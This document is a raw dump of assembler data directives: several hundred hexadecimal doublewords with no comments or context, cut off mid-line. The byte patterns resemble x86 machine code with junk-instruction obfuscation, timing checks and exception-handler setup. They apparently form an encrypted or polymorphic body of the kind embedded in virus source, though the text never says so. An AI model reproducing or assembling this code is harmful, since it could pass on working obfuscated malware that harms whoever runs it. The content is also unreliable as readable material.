0D88B0424h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 4DBD8BC4h, 0BB07E020h, 2BAC31D1h, 21CD95FFh, 0BD0107E0h dd 7E01555h, 0CBAD8589h, 12E907E3h, 56000000h, 0A836A5ECh dd 2B1B69EBh, 0BCFF0CE7h, 2E104653h, 228E9B8h, 858B0000h dd 7E3CBA5h, 59B7A9B3h, 1800C7h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CBE3D7C3h dd 0CF28DCA9h, 0BD8BB30Ah, 7E01D09h, 0CBA9B58Bh, 0DE807E3h dd 40000000h, 84194BE2h, 42C434FEh, 0DE8A2365h, 12E860h dd 6A890000h, 0AE9BC8h, 0C60A68E0h, 0AD716068h, 0EB0586Ch dd 0A98D8B5Eh, 6107E02Ch, 0F9858B5Fh, 6A07E005h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 310DC356h, 0E00FD585h, 6A068907h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2D7BC351h dd 6D95AAECh, 68B0FEFh, 89000000h, 0E005A18Dh, 99858B07h dd 6A07E033h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0DB6BC353h, 0B56CB88Bh, 446894Ch dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DDC35141h dd 228F3F1Bh, 201DBD89h, 605007E0h, 50D18B66h, 5E952h dd 0CE860000h, 0F93E091h, 61585A31h, 8B243489h, 0E0205DBDh dd 0A5B5FF07h, 8B07E3CBh, 0E02DE9BDh, 0E9BD8B07h, 0E807E001h dd 4, 1F03FFh, 7E850h, 7C910000h, 0E87F2F95h, 8C0F42h dd 5B000000h, 424448Bh, 74541CBFh, 0BB008B14h, 66DE27AFh dd 4244489h, 0CDC9EBFh, 81665837h, 8D2F3EC3h, 0E3CBAD85h dd 299D8B07h, 9007E01Eh, 0BB665250h, 310F2715h, 8E960h dd 0BF90000h, 14E851A1h, 5250EE2Bh, 585A310Fh, 50585A61h dd 0DD8A5250h, 0E860310Fh, 12h, 1C861ED1h, 2625A6A5h, 25E91BF7h dd 890E7BFh, 605EBDF7h, 585A6161h, 5880F90h, 0BB000000h dd 1796557Bh, 11E8h, 17948200h, 0C279AB3Fh, 0D0307C16h dd 0CAAE0522h, 13E84D12h, 1C000000h, 0E666BD3Dh, 3CF9CA4Fh dd 0D9F132DAh, 0EADA8485h dd 9D8B784Ah, 7E02A31h, 95FF5B5Fh, 7E021CDh, 14958589h dd 0C76107E0h, 0E022C585h, 307h, 5B50900h, 8307E01Ch, 0E3CBADBDh dd 840F0007h, 32h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 57C35646h, 65620BE4h, 0F9BD2903h, 0E907E012h dd 21h, 0AFB0F781h, 30503730h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 7389BBC0h, 6A6F8Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B9A621C3h dd 5B095CFh, 8B60A534h, 61D18BDAh, 0C1D38166h, 0C5BD83D9h dd 307E022h, 44C850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 48D9AAC3h, 0C27CA811h dd 0CBADBD83h, 0F0007E3h, 41D84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BB66D255h dd 0B5FF5858h, 7E3CBADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 83C35545h, 8B66EB7Eh, 85D381D9h, 0FF244AECh dd 0E01DA995h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 9F03D4EDh, 830FAB00h dd 3, 8BDEBF0Fh, 0E3CBA1B5h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 8955782h, 0BD8B0142h dd 7E01635h, 1BB98509h, 6C707E0h, 10001h, 6650FDB7h, 899FFDBBh dd 81662434h, 0FFF8B3E3h, 0E3CBADB5h, 558D8907h, 2907E013h dd 0E02929BDh, 1195FF07h, 6A07E030h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0B1F1C352h dd 0A1B58B75h, 6A07E3CBh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 5A21C350h, 0BC3EDF6h dd 0E0118D9Dh, 0EE907h, 24AD0000h, 41107FE7h, 4605CAD3h dd 65951262h, 22D1858Bh, 8B6607E0h, 0C48689D8h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 6223C350h, 1F1A610Dh, 0C642BF66h, 1815958Bh dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 671CE8C3h, 22D89B6h, 83C8B28Dh, 0DF8B04C2h dd 0B205089h, 0E02439BDh, 0D4858D07h, 107E3E0h, 0E019D995h dd 0B8868907h, 0E9000000h, 0Bh, 697FE39h, 0F64E1245h, 6A0D6779h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 602A8202h, 869DBDBFh, 0D195891Eh, 6107E031h dd 0CBADB5FFh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0D82BDEC3h, 6A223FD8h, 0FFEC7F13h dd 0E02A9995h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 1B6BE8AEh, 1519D09h, 605007E0h dd 14E8h, 0A00B7200h, 0B5A75965h, 8EA95D15h, 0AF62259Ah dd 773DDE33h, 5EA0B00Bh, 61C18B66h, 6A243489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8B0AC355h, 0ADB5FFDFh, 6A07E3CBh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 544AC351h dd 0B8816C24h, 0E4BB6692h, 0E995FFFCh, 0F07E028h, 0BD83F8BFh dd 7E028E1h, 39840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 726BC355h dd 0DE950h, 0D9E10000h, 3B3AC915h, 64B6C89Fh, 895E2F8Eh dd 0BD892434h, 7E01831h, 0CBADB5FFh, 6A07E3h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 1742CEC3h dd 55BD8B2Dh, 0FF07E01Bh, 0E0303595h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 51B69F89h, 0ADB5FF5Bh, 6A07E3CBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B67C353h dd 0B995FFFAh, 6A07E001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0F53FC353h, 0BF08E885h dd 0AE789A0h, 731BD83h, 0F0207E0h, 5584h, 899D8B00h, 8B07E019h dd 0E0203985h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0F6D381AFh, 0C63C3423h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0A63570C3h, 338FB6F5h, 85C7D88Bh, 7E0043Dh dd 0 dd 8A59D8Bh, 0B6E907E0h, 8BFFFFF2h, 52006AC1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 65829F75h dd 0F9EA363h, 0BD89DFB7h, 7E02E41h, 13C9858Dh, 6A07E0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 1F9820C3h, 0FBA76F7Eh, 8B6021C0h, 0E023B98Dh, 0C8B70F07h dd 6E961h, 6D000000h, 3599186Ch, 2880F50h, 8B000000h, 240489F9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BC35747h dd 6AD62Ch, 7DD9531h, 6A07E0h, 884CBF66h, 49858Dh, 0D2B707E5h dd 8B05C083h, 0E02A619Dh, 4895007h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0C549D92Dh dd 0F781669Dh, 6ACA0Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0DC35343h, 0FD374E55h, 6AF93641h, 0DEB70F00h dd 344195FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0B1F909C3h, 93AC74Dh, 0A3938D8Dh dd 6A07E3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0D104CCC3h, 29F642E7h, 0E02E35B5h, 6AD1FF07h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 3770C357h, 959589FFh, 8307E023h, 0E016B1BDh dd 850F0107h, 8Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0C4C35747h, 59B099EDh, 6A148C04h, 50D88B02h dd 89F98B66h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 78BC76C3h, 16FB0D2Ch, 6041CB3Bh dd 31919589h, 8D2907E0h, 7E02015h, 0FFD98B61h, 0E02A9995h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 9BD67A9h, 0E022A585h, 0EE7E907h, 0E80000h dd 5D000000h, 53ED81h, 7E907E5h, 0ED000000h, 3F79DE17h dd 9D096CDDh, 7E01C05h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0A9C35343h, 0C27BF706h, 0B5B53190h, 0E907E015h dd 10h, 28350AE1h, 7A13F7AEh, 0B8483A24h, 0F4AC5083h, 9463858Dh dd 609007E3h, 8E8h, 5198C200h, 1C0C3661h, 0F18B666Bh, 6E958h dd 3430000h, 891077BCh, 860F5061h, 7, 0F0C2BF50h, 905F57A2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0ADC35747h dd 3066DFCAh, 9589601Ah, 7E02C9Dh, 1C5DBD8Bh, 646107E0h dd 35FFh, 95290000h, 7E00565h, 258964h, 8B000000h, 0FD85FFDAh dd 0F07E020h, 0A82h, 0BD8B6000h, 7E013BDh, 6A615950h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 286E785Eh, 0CD9D8BE1h, 0FF07E026h, 0E023C5B5h, 12E807h dd 0F9EE0000h, 0A1CC26D8h, 10AB984Ch, 3B0AC7DDh, 0ED7CC94Fh dd 12E8h, 45D4AF00h, 5FBF0D48h, 90E8BD77h, 0FF20C723h dd 0E87FAE60h, 0Bh, 91D4CB80h, 0A070BB4Eh, 5B12F810h, 95FF5B5Bh dd 7E03389h, 12EE9h, 6850F00h, 29000000h, 0E02B418Dh, 0FC00B007h dd 12E870E6h, 8D000000h, 5C3139E3h, 470B2766h, 8B536F2Ah dd 8AC4450h, 0DE9F3h, 0A7320000h, 9A254204h, 1C8BAF8Ah dd 5F33E7B8h, 0BB6671E4h, 613C6FD1h, 0E5830Fh, 85890000h dd 7E01B7Dh, 8AC8B60Fh, 6BADCh, 9D8B0000h, 7E01C4Dh, 0BD31F560h dd 7E02015h, 8BC18B61h, 0E00201BDh, 4E8C107h, 0E299D89h dd 0F76607E0h, 6E9E2h, 0D8AF0000h, 83E2888Ch, 0DB81C82Bh dd 495436EAh, 8589D18Bh, 7E020D5h, 92E9h, 0D98B6600h, 2DC78166h dd 44858B25h, 895F4C4Ch, 0E02F0585h, 7C08307h, 9E9h, 0BBE8DE00h dd 8504409Ah, 0C0834501h, 0E2DABB00h, 0D03B0A6Eh, 0E830Fh dd 9D8B0000h, 7E02EE5h, 52E9h, 0DEB70F00h, 0FFFF8D8Bh dd 0ADBBFFFFh, 83173C9Fh, 840F01E1h, 3Bh, 9E8h, 0EE9B0800h dd 0CBA1459Fh, 816647A7h, 5B4E8BD7h, 2689BD2Bh, 0A58307E0h dd 0FFFFFFFFh, 38F0FFEh, 66000000h, 9589D98Bh, 5F4C4C44h dd 2FB19589h, 0E907E0h, 8D000000h, 0E480B0B5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 94940911h, 0DB81006Ah, 2407F0C7h, 18A995FFh, 9D8B07E0h dd 7E02BADh, 1006B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 1EC87784h, 0F971C17Fh dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 5855C350h, 6AFC3DA3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0EA2C352h, 13164EFh, 8B666079h, 0C02B61C6h, 0BAFD8Ah dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 3BD5C351h, 33AD9F40h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 44E861C3h, 56006A84h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 45C10BD9h dd 66F9D693h, 0CE85EF81h, 880Dh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FBB70F1Eh dd 8BDFBF0Fh, 0E0181595h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 34C1F835h dd 0E8D1B081h, 0Eh, 8DE48120h, 0F676E3D4h, 22884CB1h, 0BF66EBCDh dd 8B5B8DC5h, 0E020498Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0F705C581h dd 59BF37B0h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0D404E1C3h, 95FDA398h, 60C8BCE6h, 8589C18Ah dd 7E01E9Dh, 99BD8B61h, 6007E02Fh, 3C8B860h, 9D8B7CC7h dd 7E01DB1h, 0AAE38061h, 0F5BD8361h, 7E012h, 3F840Fh, 10E90000h dd 54000000h, 29002D47h, 892021FAh, 15C4DD67h, 89C2F396h dd 0E022C19Dh, 0B807h, 89600000h, 0E031DDBDh, 2DB96607h dd 8D8D6104h, 7E04EE8h, 0FFED69BBh, 8BE1FF68h, 0E008F19Dh dd 0C5BD8307h, 7E022h, 475840Fh, 8D0F0000h, 6, 579B589h dd 0BD8307E0h, 7E022C5h, 77840F01h, 6A000004h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 46D2C350h, 53917331h, 0BD838FC5h, 7E022C5h, 11860F03h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 606BC350h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0EEC35545h, 0D2FD394h, 0EE8D6CCh dd 28000000h, 2DA3C882h, 0C30CAB44h, 0EE3548DDh, 53CF8111h dd 5F559B5Ah, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 481CC357h, 0E180F88Bh dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 7387CBC1h, 8E0F2D2Fh, 6, 11CD9D31h dd 0C90A07E0h, 0CD840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0EA9DDC3h, 9D8BB9A4h dd 7E01E05h, 3399858Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 24C61EC3h, 872C4A86h dd 0B9F3811Ah, 330B2468h, 0E0318985h, 0E97CB307h, 10h dd 8A4BC507h, 55D77416h, 8A9BA460h, 2133E8C6h, 89D88B50h dd 0B70F2404h, 66006ADBh, 81A3E781h, 6D011B68h, 0B0ECBFE2h dd 4811BD0h, 0B202E424h, 0CD95FF1Dh, 0B707E021h, 0AD8589C7h dd 8B07E3CBh, 0E00155BDh, 21DE907h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8166C3C3h dd 8BF3C8D3h, 0E3CBA585h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0D9CD1800h dd 4A52D129h, 119D8B70h, 0C707E018h, 1800h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0B70FA03Bh, 0A9B58BFAh, 6A07E3CBh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 666DC351h dd 8B0B3DBFh, 0E005F985h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8B528007h dd 0E0346D9Dh, 6A068907h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 8B51C350h, 9531528Eh dd 7E019BDh, 99858B5Fh, 0E807E033h, 0Fh, 0E6326175h, 49963B13h dd 4D06CFD4h, 0F58BC56h, 0FC5BFEB7h, 6A044689h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 335CC350h, 0BD9D8BF5h, 9607E001h, 50D88B66h, 8A525050h dd 8A310FD9h, 5B585AFCh, 0E9858996h, 0FF07E01Bh, 0E3CBA5B5h dd 0D1B58907h, 6807E000h, 9A32891Eh, 2EF17BFh, 2404816Fh dd 65EC7AE1h, 14C9BD8Bh, 858D07E0h, 7E3CBADh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0DDC35040h, 13FD8D89h dd 0E85007E0h, 14h, 9AF4AA85h, 54839CE3h, 15D734FFh, 380AB2C7h dd 6C114463h, 895BDA8Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 54E9D8C3h, 0EDE525Dh dd 0E8F9B70Fh, 0Dh, 1E1F7825h, 372B4B04h, 176883D0h, 0D5B589B3h dd 5B07E01Ch, 21CD95FFh, 6A07E0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0D2BB9CC3h, 617DF99Ch dd 8F0FF88Ah, 3, 0C73BCB80h, 0E022C585h, 307h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0D0A1282Eh, 0BC7121CDh, 0ADBD835Dh, 7E3CBh, 4E840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 40D147C3h, 2A159D8Bh, 40E907E0h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0FC8AC350h, 0BD8B3717h, 7E02439h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0E746C353h, 318531E1h, 5007E034h, 5BDFB70Fh, 22C5BD83h dd 0F0307E0h, 4D585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 10848B37h, 0EF563E9Ch dd 0C6BF663Ch, 83D88BB6h, 0E3CBADBDh, 840F0007h, 49Eh dd 0FFFE8B66h, 0E3CBADB5h, 64BB5207h, 5B7402D2h, 1DA995FFh dd 958907E0h, 7E0341Dh, 0CBA1B58Bh, 8B6607E3h, 106C7FEh dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0EAE3C356h, 37A3CA39h, 66DF8B38h dd 0B796F98Bh, 8E850DCh, 54000000h, 250B5D6Fh, 0E8912AC9h dd 0Bh, 57D9838Fh, 2D4DE792h, 661523FEh, 5B5BFB8Bh, 55006A96h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0F104ECC7h, 0B83A747Bh, 8D2992E5h, 7E01D41h, 2C598D89h dd 0B5FF07E0h, 7E3CBADh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 56C35040h, 31655092h, 0E01AC985h, 1195FF07h dd 107E030h, 0E008A585h, 0E3816607h, 0B58BF2B5h, 7E3CBA1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0DFC35141h dd 0E2FD9E38h, 0CF811D66h, 2927725Fh, 0D1858BF5h, 0E907E022h dd 8, 0B56DAB73h, 9CBF54C3h, 0C48689h, 0CE90000h, 8D000000h dd 0FF6E19C5h, 0E7555CAEh, 8BE01506h, 0E0181595h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B661D0Fh, 4C283D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0B8C35545h, 0C9B58960h, 0F907E008h, 9E861h dd 9D4C0000h, 0AD7B38B2h, 897277DEh, 0E03111BDh, 50895B07h dd 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 2850FB1h, 8B000000h, 0D4858DD9h, 0F507E3E0h dd 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 9004DC3h, 8D0FF535h, 0 dd 1F65BD89h, 858907E0h, 7E0311Dh, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 416DBFC3h dd 99EE8D86h, 0BCE8033h, 0E0088D9Dh, 0A1BD8B07h, 0E807E01Ah dd 12h, 0FF240520h, 5900FD44h, 0FE899934h, 0CD317867h dd 0FF5B7778h, 0E3CBADB5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0EEA9FD0Fh dd 52CFE07Dh, 8E0F1FE8h, 6, 74D9D8Bh, 95FF07E0h, 7E02A99h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 24C35242h dd 0ED8D8993h, 9607E004h, 0BF50DE8Bh, 50D37276h, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0E862B4CBh, 5B1C1C4Fh, 0ADB5FF25h, 6A07E3CBh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 98B6C357h, 0B19D8BE5h, 0FF07E023h, 0E028E995h, 0AE40BF07h dd 0EB81105Fh, 6672D0EDh, 28E1BD83h, 0F0007E0h, 5384h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 13FDE9A3h, 3D33A4B8h, 3185893Ah, 5007E023h dd 3820Fh, 8B660000h, 243489DFh, 0FF1BD8Bh, 11E907E0h dd 0BE000000h, 0AC023205h, 7138684Eh, 0F34C4295h, 75735510h dd 0CBADB5FFh, 10E907E3h, 0ED000000h, 5B3C8876h, 0F54BFE85h dd 6C1A3CB9h, 0FF0A221Fh, 0E0303595h, 219D8907h, 6007E010h dd 2800Fh, 59510000h, 61DDD380h, 0CBADB5FFh, 0BB6607E3h dd 95FF1BA9h, 7E001B9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 2FC35646h, 0F9A1857h, 9D9D0126h, 0F07E01Bh dd 680h, 0B9B52900h, 8307E020h, 0E00731BDh, 840F0207h dd 66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch dd 4C35747h, 7ECC95C3h, 0BEA18EFEh, 2039858Bh, 6A07E0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 43089CC3h, 28E59589h, 0BD8B07E0h, 7E01291h, 0F0000C6h dd 38Ch, 0DFBF0F00h, 30559D89h, 85C707E0h, 7E0043Dh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 51C35040h dd 141D9115h, 8589290Eh, 7E02A9Dh, 12C19D89h, 34E907E0h dd 6AFFFFF2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0A0E5C351h, 56E8D37Fh, 8BF74D61h dd 0E02E199Dh, 9C18B07h, 0E01989B5h, 0C9858D07h, 6A07E013h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 7B3AC356h, 0AE88627h, 0ED000000h, 99094C60h dd 9C156A14h, 11BD8B4Dh, 5F07E01Dh, 0E890F88Bh, 0Dh, 36A7C4B7h dd 606440BAh, 0BA63065Dh, 0DA8B53EBh, 66505B5Bh, 906694BBh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8BC35242h dd 0B39C1084h, 6A006AC0h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 6BD5C353h, 85894E76h dd 7E01D11h, 0B70F006Ah, 2C858DFBh, 6A07E511h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0F73BC353h, 0F4845F16h, 0B3B80FCCh, 5C0837Dh, 2199BD8Bh dd 816607E0h, 50824BCBh, 489F88Bh, 0B70F5724h, 0BD8B5FFEh dd 7E01D1Dh, 9529006Ah, 7E01649h, 0FCB8A60h, 6A61C1B7h dd 4BF6600h, 4195FF86h, 0F807E034h, 80D9589h, 8D8D07E0h dd 7E3A393h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0EEC35141h, 0F12AA9D1h, 0C18D89A1h, 8B07E022h dd 0E0253D9Dh, 6AD1FF07h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0E8E2C353h, 13E9h dd 3D816B00h, 4EC1D270h, 23A7A7EBh, 0F56BC24Ch, 5A7A41D9h dd 16B1BD83h, 0F0107E0h, 6B85h, 0F5B58900h, 6A07E02Dh dd 11958902h, 2307E005h, 0E020D19Dh, 53509007h, 5E9h, 0EB1A1500h dd 5F5B28B3h, 10E850h, 77490000h, 8F2C32F7h, 0DB15E349h dd 2B03C00Dh, 905B394Fh, 2071BD31h, 95FF07E0h, 7E02A99h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 98C35141h dd 0A76F7E1Fh, 0AE21C0FBh, 0E7AE9h, 0E800h, 815D0000h dd 0E51136EDh, 199D8B07h, 8D07E011h, 0E3946385h, 16890F07h dd 0E9000000h, 11h, 1A7CA0ACh, 1F9B372Ch, 7796711Bh, 2378D93Ah dd 159D89EFh, 5007E02Fh, 50D98B60h, 0EE952h, 0A2550000h dd 0F7A4EC67h, 0F2DD9D39h, 0EAC50400h, 5250310Fh, 585A310Fh dd 8961585Ah, 0D88B2404h, 35FF64h, 9000000h, 0E017F995h dd 25896407h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DAC35646h dd 21019589h, 11E907E0h, 9A000000h, 2DED109Bh, 0BCD5D89Eh dd 6F3EC741h, 372300E7h, 20FD85FFh, 6A07E0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2CBF24C3h dd 8B60862Ah, 0E008E99Dh, 1C78007h, 9D03FF6Ah, 7E01CE1h dd 0B5FFF98Bh, 7E01261h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 5EC35141h, 9BCC203Eh, 0FFF95C52h, 0E0338995h dd 159E907h, 11E80000h, 0BD000000h, 0E46FE55Fh, 2BCC5063h dd 2468FAE6h, 0DB41C830h, 319D8Bh, 0B05B07E0h, 81666000h dd 6666F7E7h, 0E661F18Bh, 0C1B58970h, 0E407E02Ch, 5D9D8B71h dd 3C07E02Fh, 18830F61h, 0E8000001h, 12h, 96B0695h, 0AF06117Eh dd 0F3CC9857h, 0D50490h, 0B70FECC1h, 0B60F5FDBh, 89B589C8h dd 0BA07E019h, 6, 0E299D8Bh, 0C18B07E0h, 2AA9BD8Bh, 0E8C107E0h dd 66F88B04h, 0BF66E2F7h, 0C82B922Eh, 30F59D33h, 0D18B07E0h dd 0DE8h, 13DB9300h, 0DCDC9DDEh, 5F0641EDh, 8B6606B4h dd 0B0E95BFAh, 89000000h, 0E023B195h, 50858B07h, 2947554Ch dd 0E02B7585h, 7C08307h, 1E8D9501h, 9D8B07E0h, 7E00199h dd 8000C083h, 0D03BCFEFh, 27830Fh, 85290000h, 7E00FF1h dd 76E9h, 6E800h, 284C0000h, 0AC6E74DFh, 0BE9h, 23705400h dd 0E7EF8767h, 1AD67280h, 0FF8D8B5Bh, 8BFFFFFFh, 0E00F519Dh dd 1E18307h, 45840Fh, 9D8B0000h, 7E028E5h, 0FFFFA583h dd 66FEFFFFh, 9589D88Bh, 47554C50h, 0AE957h, 0A5C0000h dd 0F9B4722h, 